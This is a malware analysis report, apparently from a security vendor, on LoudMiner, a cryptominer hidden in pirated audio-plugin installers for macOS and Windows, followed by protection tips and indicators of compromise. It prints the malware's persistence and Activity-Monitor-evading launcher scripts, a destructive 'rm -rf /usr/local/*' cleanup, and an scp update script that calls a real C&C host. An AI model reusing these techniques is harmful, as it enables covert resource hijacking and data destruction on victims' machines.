Introduction
LoudMiner is an unusual case of a persistent cryptocurrency miner, distributed for macOS and Windows since August 2018. It uses virtualization software – QEMU on macOS and VirtualBox on Windows – to mine cryptocurrency on a Tiny Core Linux virtual machine, making it cross platform. It comes bundled with pirated copies of VST software. The miner itself is based on XMRig (Monero) and uses a mining pool, thus it is impossible to retrace potential transactions.
Distribution
At the time of writing, there are 137 VST-related applications (42 for Windows and 95 for macOS) available on a single WordPress-based website with a domain registered on 24 August, 2018. The first application – Kontakt Native Instruments 5.7 for Windows – was uploaded on the same day. The size of the apps makes it impractical to analyze them all, but it seems safe to assume they are all Trojanized.
The applications themselves are not hosted on the WordPress-based site, but on 29 external servers, which can be found in the IoCs section. The admins of the site also frequently update the applications with newer versions, making it difficult to track the very first version of the miner.
Regarding the nature of the applications targeted, it is interesting to observe that their purpose is related to audio production; thus, the machines that they are installed on should have good processing power and high CPU consumption will not surprise the users. Also, these applications are usually complex, so it is not unexpected for them to be huge files. The attackers use this to their advantage to camouflage their VM images. Moreover, the decision to use virtual machines instead of a leaner solution is quite remarkable and this is not something we routinely see.
Here are some examples of applications, as well as some comments you can find on the website:
- Propellerhead Reason
- Ableton Live
- Sylenth1
- Nexus
- Reaktor 6
- AutoTune
User reports
We found several forum threads of users complaining about a qemu-system-x86_64 process taking 100% of their CPU on their Mac:
A user named “Macloni” (https://discussions.apple.com/thread/8602989) said the following:
“Unfortunately, had to reinstall OSX, the problem was that Ableton Live 10, which I have downloaded it from a torrent site and not from the official site, installs a miner too, running at the background causing this.” The same user attached screenshots of the Activity Monitor indicating 2 processes – qemu-system-x86_64 and tools-service – taking 25% of CPU resources and running as root.”
Analysis of pirated applications
The general idea of both macOS and Windows analyses stays the same:
- An application is bundled with virtualization software, a Linux image and additional files used to achieve persistence.
- User downloads the application and follows attached instructions on how to install it.
- LoudMiner is installed first, the actual VST software after.
- LoudMiner hides itself and becomes persistent on reboot.
- The Linux virtual machine is launched and the mining starts.
- Scripts inside the virtual machine can contact the C&C server to update the miner (configuration and binaries).
While analyzing the different applications, we’ve identified four versions of the miner, mostly based on how it’s bundled with the actual software, the C&C server domain, and something we believe is a version string created by the author.
macOS
We’ve identified three macOS versions of this malware so far. All of them include dependencies needed to run QEMU in installerdata.dmg from which all files are copied over to /usr/local/bin and have appropriate permissions set along the way. Each version of the miner can run two images at once, each taking 128 MB of RAM and one CPU core. Persistence is achieved by adding plist files in /Library/LaunchDaemons with RunAtLoad set to true. They also have KeepAlive set to true, ensuring the process will be restarted if stopped. Each version has these components:
- QEMU Linux images.
- Shell scripts used to launch the QEMU images.
- Daemons used to start the shell scripts at boot and keep them running.
- A CPU monitor shell script with an accompanying daemon that can start/stop the mining based on CPU usage and whether the Activity Monitor process is running.
The CPU monitor script can start and stop the mining by loading and unloading the daemon. If the Activity Monitor process is running, the mining stops. Otherwise, it checks for how long the system has been idle in seconds:
ioreg -c IOHIDSystem | awk '/HIDIdleTime/ {print $NF/1000000000; exit}'
If it’s been longer than 2 minutes, it starts the mining. If it’s been less than 2 minutes, it checks the total CPU usage:
ps -A -o %cpu | awk '{s+=$1} END {print s }'
divides that by the number of CPU cores:
sysctl hw.logicalcpu |awk '{print $2 }')
and if it’s greater than 85%, it stops the mining. The script itself is a bit different across versions, but the general idea stays the same.
After the installation is done, all miner-related installation files are deleted.
Version 1
The miner files in the downloaded application package are not obfuscated in any way or placed in another package; they are installed alongside the software in the following places:
- /Library/Application Support/.Qemusys
- qemu-system-x86_64 – clean QEMU binary
- sys00_1-disk001.qcow2 – Linux image (first)
- qemuservice – shell script that launches the first image via the qemu-system-x86_64 binary (see Script 1 listing)
- /Library/Application Support/.System-Monitor
- system-monitor.daemon – launches first image via system-monitor binary
- /usr/local/bin
- .Tools-Service
- sys00_1-disk001.qcow2 – Linux image (second)
- tools-service.daemon – launches second image via tools-service binary
- cpumonitor – starts/stops mining based on idle time and CPU usage
- system-monitor – copy of qemu-system-x86_64 binary
- tools-service – copy of qemu-system-x86_64 binary
- .Tools-Service
- /Library/LaunchDaemons
- buildtools.system-monitor.plist – launches system-monitor.daemon
- buildtools.tools-service.plist – launches tools-service.daemon
- modulesys.qemuservice.plist – launches qemuservice
- systools.cpumonitor.plist – launches cpumonitor
#!/bin/bash
function start {
pgrep "Activity Monitor"
if [ $? -eq 0 ]; then
launchctl unload -w /Library/LaunchDaemons/com.modulesys.qemuservice.plist
else
/usr/local/bin/qemu-system-x86_64 -M accel=hvf --cpu host /Library/Application\ Support/.Qemusys/sys00_1-disk001.qcow2 -display none
fi
}
start;
Script 1. qemuservice shell script
After the dependencies are copied over, all miner-related daemons are launched and then the actual software is installed:
- qemuservice won’t launch the image if the Activity Monitor process is running. In fact, if it is running, it will unload the plist that it was launched by.
- tools-service.daemon will launch the image only when qemu-system-x86_64 process is not running and after sleeping for 45 minutes.
- System-monitor.daemon will launch the image only if Intel i5, i7 or i9 CPU is detected.
These scripts use the same command to launch the QEMU image, only differing in names and the image path.
We’ve found the following screenshot related to version 1 of the miner:
It is from Little Snitch indicating that some connections from the process qemu-system-x86_64 were blocked. Specifically, hopto[.]org (a free hostname service) is a C&C used by version 1 of the miner.
Version 2
Miner files are in data_installer.pkg inside the downloaded application package. data_installer.pkg is installed first, then the VST software. Before installation, version 1 of the miner is removed along with executing the command:
rm -rf /usr/local/*
As seen in the listing in Script 2, it only does so when it detects a running qemu-system-x86_64 process.
#!/bin/bash
#Clear Old
function clear {
LGC=`ps aux |grep "qemu-system-x86_64" |wc -l`
if [ $LGC -ge 2 ]
Then
launchctl unload -w /Library/LaunchDaemons/com.modulesys.qemuservice.plist
launchctl unload -w /Library/LaunchDaemons/com.buildtools.tools-service.plist
launchctl unload -w /Library/LaunchDaemons/com.buildtools.system-monitor.plist
launchctl unload -w /Library/LaunchDaemons/com.systools.cpumonitor.plist
rm -f /Library/LaunchDaemons/com.buildtools.system-monitor.plist
rm -f /Library/LaunchDaemons/com.modulesys.qemuservice.plist
rm -f /Library/LaunchDaemons/com.buildtools.tools-service.plist
rm -f /Library/LaunchDaemons/com.systools.cpumonitor.plist
rm -rf /Library/Application\ Support/.Qemusys
rm -rf /usr/local/bin/.Tools-Service
rm -rf /Library/Application\ Support/.System-Monitor/
rm -rf /usr/local/*
fi
exit 0
}
clear;
Script 2. data_installer.pkg preinstall script that removes version 1
The following temporary files are created:
- /Users/Shared
- z1 - QEMU binary
- z1.daemon - launches the QEMU image with the QEMU binary
- z1.qcow2 - QEMU image
- z1.plist - launches z1.daemon
- z3 – CPU monitor script, little change from version 1 cpumonitor
- z3.plist - used to launch z3
- randwd - generates random names
After dependencies are copied over, the miner is installed. This time the names of QEMU binaries, plists and directories are randomized with the randwd script. The miner installation creates two copies of z1, z1.daemon, z1.qcow2 and z1.plist. For each copy, the following happens:
- A directory with a random name is created in /Library/Application Support
- The QEMU binary z1 carries the same name as the directory and is copied into /usr/local/bin
- z1.daemon (see listing in Script 3) and z1.qcow2 are copied into this directory under their random names
- z1.plist is copied with the name com.<random_name>.plist into /Library/LaunchDaemons
z1.daemon, z1.plist, z3 and z3.plist files serve as templates. References to other scripts, binaries, plists, etc. in these files are replaced by their corresponding generated random name.
A random name is also chosen for the CPU monitor (z3) shell script and its accompanying plist file. z3 is copied into /usr/local/bin and the plist into /Library/LaunchDaemons under the name com.<random_name>.plist.
#!/bin/bash
function start {
pgrep "Activity Monitor"
if [ $? -eq 0 ]; then
launchctl unload -w /Library/LaunchDaemons/com.AAAA.plist
else
/usr/local/bin/BBBB -M accel=hvf --cpu host /Library/Application\ Support/CCCC/DDDD -display none
fi
}
start;
Script 3. z1.daemon shell script
Version 2 is a bit cleaner and/or simpler than version 1. There is only one QEMU image, with two copies made; same for the image launcher scripts, daemons and the cpumonitor. Even though version 2 randomizes its filenames and directories, it can only be installed once because the installation checks for running processes with accel=hvf in their command line.
From the version 2 applications we’ve checked so far, the SHA1 hash of the data_installer.pkg is always 39a7e86368f0e68a86cce975fd9d8c254a86ed93.
Version 3
The miner files are in an encrypted DMG file, called do.dmg, inside the application package. The DMG is mounted with the following command:
printf '%s\0' 'VeryEasyPass123!' | hdiutil attach -noverify /Users/Shared/instapack/do.dmg -stdinpass.
The miner DMG contains a single package: datainstallero.pkg. This and the software package are then installed.
The package contents of datainstallero.pkg and data_installer.pkg from version 2 are more or less the same, but datainstallero.pkg adds two obfuscated scripts – clearpacko.sh and installpacko.sh - and obfuscates an existing script – randwd:
- clearpacko.sh removes version 1 of the miner like version 2 does.
- installpacko.sh installs the miner the same way version 2 does, except the comments have been stripped from the script.
The SHA1 of the do.dmg remains the same as well: b676fdf3ece1ac4f96a2ff3abc7df31c7b867fb9.
Launching the Linux image
All versions use multiple shell scripts to launch the images. The shell scripts are executed by plists on boot and are kept alive.
- Version 1 executes the following binaries (copies of qemu-system-x86_64) to launch the QEMU images: qemu-system-x86_64, system-monitor, tools-service.
- Versions 2 and 3 use the same command, but the filename of the binary, directory in Application Support and the QEMU filename is randomized.
All versions use the following switches:
- -M accel=hvf to use the Hypervisor framework as an accelerator. HVF was introduced with OS X 10.10 and support for HVF was added in QEMU 2.12, which was released in April 2018.
- -display none so the virtual machine runs without a graphical interface.
Since the image is launched without specifying the amount of RAM and # of CPU cores, the default values are used: 1 CPU core and 128MB of RAM. All versions can launch 2 images.
Windows (version 4)
From the strings we extracted from the application, we define the only Windows version seen so far as version 4. As we mentioned earlier, the logic is quite similar to the macOS version. Each Windows application is packaged as an MSI installer that installs both the “cracked” application, and Figure 8 shows the trust popup for installing the VirtualBox driver when running a “cracked” VST installer from vstcrack[.]com.
Figure 8. Trust popup for a VirtualBox driver when running the installation of an application from vstcrack[.]com
VirtualBox is installed in its usual folder name (C:\Program Files\Oracle); however, the attributes of the directory are set to “hidden”. Then the installer copies the Linux image and VBoxVmService (a Windows service used to run a VirtualBox virtual machine as a service) into C:\vms, which is also a hidden directory. Once the installation is complete, the installer runs a batch script compiled with BAT2EXE (see the unpacked listing in Script 4) to import the Linux image and run VmServiceControl.exe to start the virtual machine as a service.
@echo off
setlocal EnableExtensions EnableDelayedExpansion
"c:\Program Files\Oracle\VirtualBox\vboxmanage.exe" setproperty machinefolder "%userprofile%\appdata\roaming"
"c:\Program Files\Oracle\VirtualBox\vboxmanage.exe" import "c:\vms\tmp\sys00_1.ova"
xcopy /Y "C:\Windows\System32\Config\systemprofile\.VirtualBox" "C:\vms\.VirtualBox\"
"C:\vms\VmServiceControl.exe" -i
del /F "c:\vms\tmp\sys00_1.ova"
Script 4. Batch script used to run the Linux virtual machine as a service
This method is used to ensure the persistence of the miner after reboot. Indeed, VboxVmService comes with a configuration file (see Script 5) in which it is possible to enable the AutoStart option so the virtual machine is automatically launched at startup.
[Settings]
VBOX_USER_HOME=C:\vms\.VirtualBox
RunWebService=no
PauseShutdown=5000
[Vm0]
VmName=sys00_1
ShutdownMethod=acpipowerbutton
AutoStart=yes
Script 5. Configuration file for VBoxVmService with AutoStart enabled
The OVF file included in the Linux image describes the hardware configuration of the virtual machine (see Script 6): it uses 1GB of RAM and 2 CPU cores (with a maximum usage of 90%).
<Hardware>
<CPU count="2" executionCap="90">
<PAE enabled="true"/>
<LongMode enabled="true"/>
<X2APIC enabled="true"/>
<HardwareVirtExLargePages enabled="true"/>
</CPU>
<Memory RAMSize="1024"/>
Script 6. Hardware configuration of the Linux image
Linux image
The Linux image is Tiny Core Linux 9.0 configured to run XMRig, as well as some files and scripts to keep the miner updated continuously. The most interesting files are:
- /root/.ssh/{id_rsa, id_rsa.pub} – the SSH pair key used to update the miner from the C&C server using SCP.
- /opt/{bootsync.sh, bootlocal.sh} – the system startup commands that try to update the miner from the C&C server and run it (see Scripts 7 and 8):
/usr/bin/sethostname box
/opt/bootlocal.sh 2>&1 > /dev/null &
echo "booting" > /etc/sysconfig/noautologin
Script 7. bootsync.sh
/mnt/sda1/tools/bin/idgenerator 2>&1 > /dev/null
/mnt/sda1/tools/bin/xmrig_update 2>&1 > /dev/null
/mnt/sda1/tools/bin/ccommand_update 2>&1 > /dev/null
/mnt/sda1/tools/bin/ccommand 2>&1 > /dev/null
/mnt/sda1/tools/bin/xmrig
Script 8. bootlocal.sh
- /mnt/sda1/tools/bin – main files and scripts used to update and run the miner.
- /mnt/sda1/tools/xmrig – contains the source code of XMRig (from the GitHub repository).
The configuration of the miner is stored in /mnt/sda1/tools/bin/config.json and contains mostly the domain name and the port used for the mining pool, which can differ depending on the version (see examples in the IoCs section).
The update mechanism is performed via SCP (Secure File Copy) by three different scripts:
- xmrig_update - updates the configuration of the miner (config.json);
- ccommand - updates ccommand_update, xmrig_update (see Script 9), updater.sh, xmrig;
- ccommand_update - updates ccommand;
From what we have seen, the miner configuration is updated once every day.
#!/bin/sh
ping -w 40 127.0.0.1
cd /mnt/sda1/tools/bin/ && scp -P 5100 -C -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null x01@system-update.is:ctrl/cowboinvox`date +%Y%m%d` config.json.new && mv config.json config.json.bkp && mv config.json.new config.json
Script 9. xmrig_update
In order to identify a particular mining session, a file containing the IP address of the machine and the day’s date is created by the idgenerator script and its output is sent to the C&C server by the updater.sh script.
Protection
Obviously, the best advice to be protected against this kind of threat is to not download pirated copies of commercial software. There are, however, some hints that can help you to identify when an application contains unwanted code:
- A trust popup from an unexpected, “additional” installer (in this case the Oracle network adapter).
- High CPU consumption by a process you did not install (QEMU or VirtualBox in this case).
- A new service added to the startup services list (Windows) or a new Launch Daemon (macOS).
- Network connections to curious domain names (such as system-update[.]info or system-check[.]services here).
Indicators of Compromise (IoCs)
Hashes
macOS “cracked” applications (versions 1-3)
SHA-1 | Filename | ESET detection name | Version number |
---|---|---|---|
71030028c4e1b844c85138bd77ddea96a190ec2c | Virtual_DJ_8_Pro_Infinity_macOS.pkg | OSX/LoudMiner.A | 1 |
32c80edcec4f7bb3b494e8949c6f2014b7f5db65 | Native Instruments Massive Installer.pkg | OSX/LoudMiner.A | 1 |
7dc9f8ca07cd8e0247cf15cd8d2da2190a02fc90 | Massive_v1.5.5_Installer_macOS.dmg | OSX/LoudMiner.B | 2 |
0b40bd0754637d5be2ada760ff0ecfda7afe03d7 | Native_Instruments_Effects_Series_Mod_Pack.dmg | OSX/LoudMiner.B | 2 |
88efc767a32299e922f1b41f82c8d584585e2161 | Spectrasonics_Omnisphere_2.5_OSx.dmg | OSX/LoudMiner.C | 3 |
e9c9d17d006fb03d67b736c0826df0af8ca6d5fd | Lennar_Digital_Sylenth1_2.2.1.dmg | OSX/LoudMiner.C | 3 |
Windows “cracked” applications (version 4)
SHA-1 | Filename | ESET detection name |
---|---|---|
23faacfc23cfef65504d7fa20854030b96a9df91 | Ableton.Live.Suite.10.0.6.Multilingual.x64.WIN.zip | Win32/LoudMiner.A |
5a8682eae69b2e11d45980941a972bd734630207 | Infected-Mushroom-Manipulator-V1.0.3.zip | Win32/LoudMiner.A |
60a8f1d4a028153271093e815e8267bd25fde852 | Sonic_Academy_ANA_2.0.3_x86_x64.msi | Win32/LoudMiner.A |
7c7876058783da85d5502b9406f7fb4d26f66238 | SoundToys_5.0.1_x64-SetupFiles.rar | Win32/LoudMiner.A |
a1a1dc7876d71749a8bc5690c537451770ef4ab8 | Valhalla-DSP-Full-Bundle-setupfiles.zip | Win32/LoudMiner.A |
Linux images
SHA-1 | Filename | Version number |
---|---|---|
dd9b89a3c5a88fb679f098e2c2847d22350e23b1 | sys00_1-disk001.qcow2 | 1 |
d1e42e913da308812dd8da1601531b197c1a09a1 | sys00_1-disk001.qcow2 | 1 |
39a7e86368f0e68a86cce975fd9d8c254a86ed93 | z1.qcow2 (renamed with a randomized name) | 2 |
59026ffa1aa7b60e5058a0795906d107170b9e0f | z1.qcow2 (renamed with a randomized name) | 3 |
fcf5c3b560295ee330b97424b7354fd321757cc6 | sys00_1.ova | 4 |
fc60431a0172d5b8cf4b34866567656467cf861c | sys00_1.ova | 4 |
Filenames
macOS
- /Library/Application Support/.Qemusys
- /Library/Application Support/.System-Monitor
- /usr/local/bin/{.Tools-Service, cpumonitor, system-monitor, tools-service}
- /Library/LaunchDaemons/{com.buildtools.system-monitor.plist, com.buildtools.tools-service.plist, com.modulesys.qemuservice.plist, com.systools.cpumonitor.plist}
Windows
- C:\vms
Hostnames
vstcrack[.]com (137[.]74.151.144)
Download hosts (via HTTP on port 80)
- 185[.]112.156.163
- 185[.]112.156.29
- 185[.]112.156.70
- 185[.]112.157.102
- 185[.]112.157.103
- 185[.]112.157.105
- 185[.]112.157.12
- 185[.]112.157.181
- 185[.]112.157.213
- 185[.]112.157.24
- 185[.]112.157.38
- 185[.]112.157.49
- 185[.]112.157.53
- 185[.]112.157.65
- 185[.]112.157.72
- 185[.]112.157.79
- 185[.]112.157.85
- 185[.]112.157.99
- 185[.]112.158.112
- 185[.]112.158.133
- 185[.]112.158.186
- 185[.]112.158.190
- 185[.]112.158.20
- 185[.]112.158.3
- 185[.]112.158.96
- d-d[.]host (185[.]112.158.44)
- d-d[.]live (185[.]112.156.227)
- d-d[.]space (185[.]112.157.79)
- m-m[.]icu (185[.]112.157.118)
Update hosts (via SCP)
- aly001[.]hopto.org (192[.]210.200.87, port 22)
- system-update[.]is (145[.]249.104.109, port 5100)
Mining hosts
- system-update[.]info (185[.]193.126.114, port 443 or 8080)
- system-check[.]services (82[.]221.139.161, port 8080)
MITRE ATT&CK techniques
Tactic | ID | Name | Description |
---|---|---|---|
Execution | T1035 | Service Execution | On Windows, the Linux image is run as a service with VboxVmService. |
Persistence | T1050 | New Service | Install the Linux virtual machine as a service with VboxVmService. |
T1062 | Hypervisor | Install a type-2 hypervisor on the host (VirtualBox or QEMU) to run the miner. | |
T1160 | Launch Daemon | The macOS versions use a Launch Daemon to ensure the persistence. | |
Defense Evasion | T1027 | Obfuscated Files or Information | Some shell scripts are obfuscated, and some installers are encrypted in macOS versions. |
T1045 | Software Packing | Use BAT2EXE to pack batch script in Windows versions. | |
T1158 | Hidden Files and Directories | The VirtualBox installation folder and the directory containing the Linux image are hidden. | |
Command and Control | T1043 | Commonly Used Port | Use TCP ports 443 and 8080 for mining pool communication. |
T1105 | Remote File Copy | Use SCP (port 22 or 5100) to copy files from/to the C&C server. | |
Impact | T1496 | Resource Hijacking | Use victim machines to mine cryptocurrency (Monero). |